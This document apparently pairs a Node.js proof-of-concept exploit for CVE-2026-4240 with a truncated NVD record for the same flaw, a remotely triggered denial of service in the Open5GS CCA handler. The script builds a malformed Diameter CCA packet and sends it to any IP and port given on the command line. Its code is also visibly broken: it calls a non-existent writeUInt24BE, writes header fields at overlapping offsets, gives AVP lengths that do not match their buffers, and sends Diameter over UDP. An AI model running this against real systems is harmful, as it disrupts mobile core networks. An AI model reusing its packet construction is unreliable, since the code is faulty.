CVE-2026-4240

// CVE-2026-4240 PoC - Open5GS CCA Handler DoS // This PoC demonstrates sending a malicious CCA message to trigger the vulnerability const dgram = require('dgram'); const crypto = require('crypto'); // Diameter message header structure function buildDiameterHeader(version, length, flags, commandCode, applicationId) { const header = Buffer.alloc(20); header.writeUInt8(version, 0); header.writeUInt32BE(length, 1); header.writeUInt8(flags, 5); header.writeUInt24BE(commandCode, 6); header.writeUInt32BE(applicationId, 9); header.writeUInt32BE(0x01000000, 13); // Hop-by-Hop Identifier header.writeUInt32BE(0x01000000, 17); // End-to-End Identifier return header; } // Build malicious CCA message with malformed AVPs function buildMalformedCCA() { const avps = []; // Result-Code AVP with invalid value const resultCodeAVP = Buffer.alloc(16); resultCodeAVP.writeUInt32BE(264, 0); // AVP Code resultCodeAVP.writeUInt32BE(0x40000000, 4); // Flags (mandatory) resultCodeAVP.writeUInt32BE(8, 8); // Length resultCodeAVP.writeUInt32BE(0xFFFFFFFF, 12); // Invalid Result-Code avps.push(resultCodeAVP); // Session-Id AVP const sessionId = '"' + crypto.randomBytes(16).toString('hex') + '"'; const sessionIdAVP = Buffer.alloc(12 + sessionId.length); sessionIdAVP.writeUInt32BE(263, 0); sessionIdAVP.writeUInt32BE(0x40000000, 4); sessionIdAVP.writeUInt32BE(8 + sessionId.length, 8); sessionIdAVP.write(sessionId, 12); avps.push(sessionIdAVP); const payload = Buffer.concat(avps); const header = buildDiameterHeader(1, 20 + payload.length, 0x02, 272, 4); // CCA command return Buffer.concat([header, payload]); } // Send malicious CCA to target function exploit(targetIP, targetPort) { const socket = dgram.createSocket('udp4'); const maliciousCCA = buildMalformedCCA(); socket.send(maliciousCCA, 0, maliciousCCA.length, targetPort, targetIP, (err) => { if (err) { console.error('Send error:', err); } else { console.log('Malicious CCA packet sent to', targetIP + ':' + targetPort); console.log('Packet length:', maliciousCCA.length, 'bytes'); } socket.close(); }); } // Usage // node cve-2026-4240-poc.js <target_ip> <port> const targetIP = process.argv[2] || '127.0.0.1'; const targetPort = parseInt(process.argv[3]) || 3868; exploit(targetIP, targetPort); console.log('CVE-2026-4240 PoC execution started...');

{"cve": {"id": "CVE-2026-4240", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:20:18.963", "lastModified": "2026-03-20T18:15:15.653", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in Open5GS up to 2.7.6. The affected element is the function smf_gx_cca_cb/smf_gy_cca_cb/smf_s6b_aaa_cb/smf_s6b_sta_cb of the component CCA Handler. This manipulation causes denial of service. The attack can be initiated remotely. The exploit has been publicly disclosed and may be utilized. Upgrading to version 2.7.7 is sufficient to fix this issue. Patch name: 80eb484a6ab32968e755e628b70d1a9c64f012ec. Upgrading the affected component is recommended."}, {"lang": "es", "value": "Una vulnerabilidad fue determinada en Open5GS hasta 2.7.6. El elemento afectado es la función smf_gx_cca_cb/smf_gy_cca_cb/smf_s6b_aaa_cb/smf_s6b_sta_cb del componente Gestor CCA. Esta manipulación causa denegación de servicio. El ataque puede iniciarse remotamente. El exploit ha sido divulgado públicamente y puede ser utilizado. Actualizar a la versión 2.7.7 es suficiente para solucionar este problema. Nombre del parche: 80eb484a6ab32968e755e628b70d1a9c64f012ec. Se recomienda actualizar el componente afectado."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "baseScore": 5.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 10.0, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-404"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:open5gs:open5gs:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.7.7", "matchCriteriaId": "47478E23-246D-476B-BB9E-91122563FF06"}]}]}], "references": [{"url": "https://github.com/open5gs/open5gs/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/open5gs/open5gs/commit/80eb484a6ab32968e755e628b70d1a9c64f012ec", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/open5gs/open5gs/issues/4343", " ... (truncated)